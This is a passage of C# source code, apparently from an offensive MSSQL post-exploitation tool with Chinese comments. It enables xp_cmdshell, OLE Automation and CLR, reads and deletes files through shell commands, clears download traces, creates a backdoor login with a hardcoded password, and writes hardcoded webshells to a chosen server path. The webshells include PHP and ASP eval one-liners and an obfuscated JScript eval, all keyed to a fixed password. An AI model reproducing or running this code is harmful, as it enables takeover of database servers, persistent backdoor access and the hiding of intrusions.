                                statusCallback?.Invoke("当前下载痕迹清理成功！");
                            }
                        }

                        if (hasRows)
                        {
                            //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                            //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "已完成所有下载痕迹的清理！");
                            statusCallback?.Invoke("已完成所有下载痕迹的清理！");
                        }
                        else
                        {
                            //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                            statusCallback?.Invoke("命令执行成功，但没有返回数据");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                //Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
                statusCallback?.Invoke("命令执行错误：" + ex.Message);
            }
        }
        /// <summary>
        /// 根据选择删除文件
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_FilesDelCode(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 先获取完整的路径
            string path = Api.T_Mssql_Excel.Path;

            // 获取的文件名称
            string name = Api.T_Mssql_Excel.Name;

            // 实现对源文件进行整体的编码，然后将其保存为base64
            //string sqlCommand = $"EXEC xp_cmdshell \"del \"{path}{name}\"\"";
            string sqlCommand = $"EXEC xp_cmdshell \"cmd /c del \"\"{path}{name}\"\"\"";

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 使用异步执行
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        await reader.ReadAsync();

                        Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "删除成功" + "\r\n");
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
        /// <summary>
        /// 文件上传组件状态
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Files_Activation_Status(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 定义要执行的 SQL 命令
            string sqlCommand = "EXEC sp_configure 'filestream access level';"; // 示例 SQL

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 执行命令并获取结果
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (await reader.ReadAsync()) // 逐行读取
                        {
                            hasRows = true; // 确保至少有一行数据
                            StringBuilder rowOutput = new StringBuilder(); // 用于存储当前行的输出

                            // 遍历每一列
                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                // 读取每个列的值并拼接
                                object value = reader[i]; // 使用索引访问
                                rowOutput.Append($"{value?.ToString()}\t"); // 使用制表符分隔
                            }

                            // 将当前行的数据添加到 Info
                            Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + rowOutput.ToString().TrimEnd('\t')); // 移除末尾的制表符
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
        /// <summary>
        /// 激活文件上传组件
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Files_Activation(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 启用高级模式
            string sqlCommand1 = "EXEC sp_configure 'show advanced options', 1;";
            
            string sqlCommand2 = "RECONFIGURE;";

            string sqlCommand3 = "EXEC sp_configure 'filestream access level', 2;";

            string sqlCommand4 = "RECONFIGURE;";
            try
            {
                // 执行第一个命令
                using (SqlCommand command1 = new SqlCommand(sqlCommand1, connection))
                {
                    using (SqlDataReader reader = await command1.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (await reader.ReadAsync())
                        {
                            hasRows = true;
                            StringBuilder rowOutput = new StringBuilder();

                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                object value = reader[i];
                                rowOutput.Append($"{value?.ToString()}\t");
                            }

                            Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + rowOutput.ToString().TrimEnd('\t'));
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "第一个命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "已打开高级模式" + "\r\n");
                        }
                    }
                }

                // 高级模式激活
                using (SqlCommand command2 = new SqlCommand(sqlCommand2, connection))
                {
                    await command2.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "高级模式激活成功" + "\r\n");
                }
                // 文件上传组件激活
                using (SqlCommand command3 = new SqlCommand(sqlCommand3, connection))
                {
                    await command3.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "已开启文件上传组件" + "\r\n");
                }
                // 文件上传组件激活
                using (SqlCommand command4 = new SqlCommand(sqlCommand4, connection))
                {
                    await command4.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "文件上传组件激活成功" + "\r\n");
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
        /// <summary>
        /// 获取系统命令执行状态
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Shell_Status(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 启用高级模式
            string sqlCommand1 = "EXEC sp_configure 'show advanced options', 1;";
            
            string sqlCommand2 = "RECONFIGURE;";
            // 获取xp_cmdshell状态
            string sqlCommand3 = "EXEC sp_configure 'xp_cmdshell';";
            // 获取 Ole Automation状态
            string sqlCommand4 = "EXEC sp_configure 'Ole Automation Procedures';";
            // 获取 clr enable状态
            string sqlCommand5 = "EXEC sp_configure 'clr enabled';\r\n";
            try
            {
                // 获取高级模式状态
                using (SqlCommand command1 = new SqlCommand(sqlCommand1, connection))
                {
                    using (SqlDataReader reader = await command1.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (await reader.ReadAsync())
                        {
                            hasRows = true;
                            StringBuilder rowOutput = new StringBuilder();

                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                object value = reader[i];
                                rowOutput.Append($"{value?.ToString()}\t");
                            }

                            Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + rowOutput.ToString().TrimEnd('\t'));
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "第一个命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "已打开高级模式" + "\r\n");
                        }
                    }
                }

                // 激活高级模式
                using (SqlCommand command2 = new SqlCommand(sqlCommand2, connection))
                {
                    await command2.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "高级模式激活成功" + "\r\n");
                }
                // Xp_CmdShell组件状态
                using (SqlCommand command3 = new SqlCommand(sqlCommand3, connection))
                {
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "正在获取Xp_CmdShell组件状态" + "\r\n");
                    using (SqlDataReader reader = await command3.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (await reader.ReadAsync())
                        {
                            hasRows = true;
                            StringBuilder rowOutput = new StringBuilder();

                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                object value = reader[i];
                                rowOutput.Append($"{value?.ToString()}\t");
                            }

                            Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + rowOutput.ToString().TrimEnd('\t'));
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "第一个命令执行成功" + "\r\n");
                        }
                    }
                }
                // 获取COM组件状态
                using (SqlCommand command4 = new SqlCommand(sqlCommand4, connection))
                {
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "正在获取COM组件状态" + "\r\n");
                    using (SqlDataReader reader = await command4.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (await reader.ReadAsync())
                        {
                            hasRows = true;
                            StringBuilder rowOutput = new StringBuilder();

                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                object value = reader[i];
                                rowOutput.Append($"{value?.ToString()}\t");
                            }

                            Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + rowOutput.ToString().TrimEnd('\t'));
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "第一个命令执行成功" + "\r\n");
                        }
                    }
                }
                // 获取CLR组件状态
                using (SqlCommand command5 = new SqlCommand(sqlCommand5, connection))
                {
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "正在获取CLR组件状态" + "\r\n");
                    using (SqlDataReader reader = await command5.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (await reader.ReadAsync())
                        {
                            hasRows = true;
                            StringBuilder rowOutput = new StringBuilder();

                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                object value = reader[i];
                                rowOutput.Append($"{value?.ToString()}\t");
                            }

                            Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + rowOutput.ToString().TrimEnd('\t'));
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "第一个命令执行成功" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
        /// <summary>
        /// 激活命令执行组件
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Shell_Activation(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 激活xp_cmdshell
            string sqlCommand1 = "EXEC sp_configure 'xp_cmdshell', 1";
            
            string sqlCommand2 = "RECONFIGURE;";
            // 激活Ole Automation
            string sqlCommand3 = "EXEC sp_configure 'Ole Automation Procedures', 1;";

            string sqlCommand4 = "RECONFIGURE;";
            // 激活clr enabled
            string sqlCommand5 = "EXEC sp_configure 'clr enabled', 1;";

            string sqlCommand6 = "RECONFIGURE;";
            try
            {
                // 激活xp_cmdshell
                using (SqlCommand command1 = new SqlCommand(sqlCommand1, connection))
                {
                    await command1.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "正在执行xp_cmdshell组件激活，请稍后....." + "\r\n");
                }
                using (SqlCommand command2 = new SqlCommand(sqlCommand2, connection))
                {
                    await command2.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "xp_cmdshell组件激活成功" + "\r\n");
                }
                // 激活Ole Automation
                using (SqlCommand command3 = new SqlCommand(sqlCommand3, connection))
                {
                    await command3.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "正在执行Ole Automation组件激活，请稍后....." + "\r\n");
                }
                using (SqlCommand command4 = new SqlCommand(sqlCommand4, connection))
                {
                    await command4.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "Ole Automation传组件激活成功" + "\r\n");
                }
                // 激活clr enabled
                using (SqlCommand command5 = new SqlCommand(sqlCommand5, connection))
                {
                    await command5.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "正在执行clr enabled组件激活，请稍后....." + "\r\n");
                }
                using (SqlCommand command6 = new SqlCommand(sqlCommand6, connection))
                {
                    await command6.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "clr enabled组件激活成功" + "\r\n");
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
        /// <summary>
        /// 获取默认的服务器角色
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Role_Info(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 判断是否存在服务器角色
            string sqlCommand1 = "SELECT  IS_SRVROLEMEMBER('sysadmin') AS IsSysadmin;";
            // 获取所有服务器角色
            string sqlCommand2 = "SELECT name FROM sys.server_principals WHERE type = 'R';";
            try
            {
                // 获取服务器角色状态，如果为1表示启用，0表示未启用
                using (SqlCommand command1 = new SqlCommand(sqlCommand1, connection))
                {
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "服务器角色状态" + "\r\n");
                    using (SqlDataReader reader = await command1.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (await reader.ReadAsync())
                        {
                            hasRows = true;
                            StringBuilder rowOutput = new StringBuilder();

                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                object value = reader[i];
                                rowOutput.Append($"{value?.ToString()}\t");
                            }

                            Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + rowOutput.ToString().TrimEnd('\t'));
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "第一个命令执行成功" + "\r\n");
                        }
                    }
                }

                // 获取服务器角色信息
                using (SqlCommand command2 = new SqlCommand(sqlCommand2, connection))
                {
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "已获取服务器所有角色" + "\r\n");
                    using (SqlDataReader reader = await command2.ExecuteReaderAsync())
                    {
                        bool hasRows = false;

                        while (await reader.ReadAsync())
                        {
                            hasRows = true;
                            StringBuilder rowOutput = new StringBuilder();

                            for (int i = 0; i < reader.FieldCount; i++)
                            {
                                object value = reader[i];
                                rowOutput.Append($"{value?.ToString()}\t");
                            }

                            Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + rowOutput.ToString().TrimEnd('\t'));
                        }

                        if (hasRows)
                        {
                            // Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "第一个命令执行成功" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
        /// <summary>
        /// 创建sql账号并尝试绑定的到服务器角色中
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Add_Acount(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();

            // 创建账号的密码
            string sqlCommand1 = "CREATE LOGIN tl WITH PASSWORD = '20240101yk';";
            // 将账号绑定到默认的master数据库中
            string sqlCommand2 = "USE master;";
            // 创建账号登录
            string sqlCommand3 = "CREATE USER tl FOR LOGIN tl;";
            // 将账号绑定的服务器角色中
            string sqlCommand4 = "EXEC sp_addrolemember 'public', 'tl';";
            try
            {
                // 执行第一个命令
                using (SqlCommand command1 = new SqlCommand(sqlCommand1, connection))
                {
                    await command1.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "已成功创建密码" + "\r\n");
                }

                // 执行第二个命令
                using (SqlCommand command2 = new SqlCommand(sqlCommand2, connection))
                {
                    await command2.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "已成功绑定默认数据库" + "\r\n");
                }
                // 执行第三条命令
                using (SqlCommand command3 = new SqlCommand(sqlCommand3, connection))
                {
                    await command3.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "已成功配置系统登录" + "\r\n");
                }
                // 执行第四条命令
                using (SqlCommand command4 = new SqlCommand(sqlCommand4, connection))
                {
                    await command4.ExecuteNonQueryAsync(); // 第二个命令没有返回结果，使用 ExecuteNonQuery
                    Api.T_Mssql_Excel.Info.AppendLine(DateTime.Now.ToString() + "：" + "已成功绑定服务器角色，你的账号：tl 你的密码：20240101yk" + "\r\n");
                }
            }
            catch (Exception ex)
            {
                Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
        /// <summary>
        /// 自定义写入webshell
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Add_Webshell(SqlConnection connection)
        {
            Api.T_Mssql_Excel.Info = new StringBuilder();
            try
            {
                string path = Api.T_Mssql_Excel.ShellPath;
                string code = Api.T_Mssql_Excel.Webshell.ToString();

                // 对 code 中的特殊字符进行转义
                string escapedCode = code.Replace("<", "^<")
                                  .Replace(">", "^>");

                // 构建命令，并捕获错误信息
                string sqlCommand1 = $"EXEC xp_cmdshell 'echo {escapedCode} >> \"{path}\"'";

                // 输出 SQL 命令，确保可以在调试时查看
                Console.WriteLine(sqlCommand1);

                using (SqlCommand command = new SqlCommand(sqlCommand1, connection))
                {
                    await command.ExecuteNonQueryAsync(); // 执行 SQL 命令
                    Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "写入成功路径：" + path + "\r\n");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
        /// <summary>
        /// 写入默认webshell
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Add_dWebshell(SqlConnection connection)
        {
            Dictionary<string, string> str = new Dictionary<string, string>();

            string id = Api.T_Mssql_Excel.Webshell_id.ToString();

            // 创建一个字典
            List<string> st = new List<string>();

            if (id == "aspx")
            {
                st.Add("<?php @eval($_POST['tl123456']);?>");
            }
            else if(id == "asp")
            {
                st.Add("<%eval request (\"tl123456\")%>");
            }
            else if (id == "ashx")
            {
                // 密码：tl123456
                st.Add("<%@PAGE LANGUAGE=JSCRIPT%>\r\n<%var PAY:String=\r\nRequest[\"\\x74\\x6C\\x31\\x32\\x33\\x34\\x35\\x36\"];eval\r\n(PAY,\"\\x75\\x6E\\x73\\x61\"+\r\n\"\\x66\\x65\");%>");
            }
            else if (id == "php")
            {
                st.Add("<?php @eval($_POST['tl123456']);?>");
            }
            else if (id == "jspx")
            {
                st.Add("<%\r\nif(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.getRealPath(\"\\\\\")+request.getParameter(\"tl123456\"))).write(request.getParameter(\"t\").getBytes());\r\n%>");
            }
            Api.T_Mssql_Excel.Info = new StringBuilder();
            try
            {
                string path = Api.T_Mssql_Excel.ShellPath;
                // 这个是webshell
                string code = string.Join(Environment.NewLine, st);

                // 对 code 中的特殊字符进行转义
                string escapedCode = code.Replace("<", "^<")
                                  .Replace(">", "^>");

                // 构建命令，并捕获错误信息
                string sqlCommand1 = $"EXEC xp_cmdshell 'echo {escapedCode} >> \"{path}\"'";

                // 输出 SQL 命令，确保可以在调试时查看
                Console.WriteLine(sqlCommand1);

                using (SqlCommand command = new SqlCommand(sqlCommand1, connection))
                {
                    await command.ExecuteNonQueryAsync(); // 执行 SQL 命令
                    Api.T_Mssql_Excel.Info.Append(DateTime.Now.ToString() + "：" + "写入成功路径：" + path + "\r\n");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
        /// <summary>
        /// 查看文件信息
        /// </summary>
        /// <param name="connection"></param>
        /// <returns></returns>
        public static async Task Sql_Fil_Info(SqlConnection connection)
        {
            Api.T_Files_Info.FileInfo = new StringBuilder();

            // 先获取完整的路径
            string path = Api.T_Mssql_Excel.Path;

            // 获取的文件名称
            string name = Api.T_Mssql_Excel.Name;

            // 实现对源文件进行整体的编码，然后将其保存为base64
            //string sqlCommand = $"EXEC xp_cmdshell \"del \"{path}{name}\"\"";
            string sqlCommand = $"EXEC xp_cmdshell \"cmd /c type \"\"{path}{name}\"\"\"";

            try
            {
                using (SqlCommand command = new SqlCommand(sqlCommand, connection))
                {
                    // 使用异步执行
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        bool hasRows = false;
                        // 使用异步进行循环
                        while (await reader.ReadAsync())
                        {
                            hasRows = true; // 确保至少有一行数据
                            string output = reader[0]?.ToString(); // 读取输出
                            if (!string.IsNullOrEmpty(output))
                            {
                                // 循环的获取完整的值
                                Api.T_Files_Info.FileInfo.Append(output + "\r\n");
                            }
                            else
                            {
                                Api.T_Files_Info.FileInfo.Append(output + "\r\n");
                            }
                        }

                        if (hasRows)
                        {
                            //Api.T_Files_Info.FileInfo.Append(DateTime.Now.ToString() + "：" + "命令执行成功" + "\r\n");
                        }
                        else
                        {
                            Api.T_Files_Info.FileInfo.Append(DateTime.Now.ToString() + "：" + "命令执行成功，但没有返回数据" + "\r\n");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Api.T_Files_Info.FileInfo.Append(DateTime.Now.ToString() + "：" + "命令执行错误：" + ex.Message + "\r\n");
            }
        }
    }
}
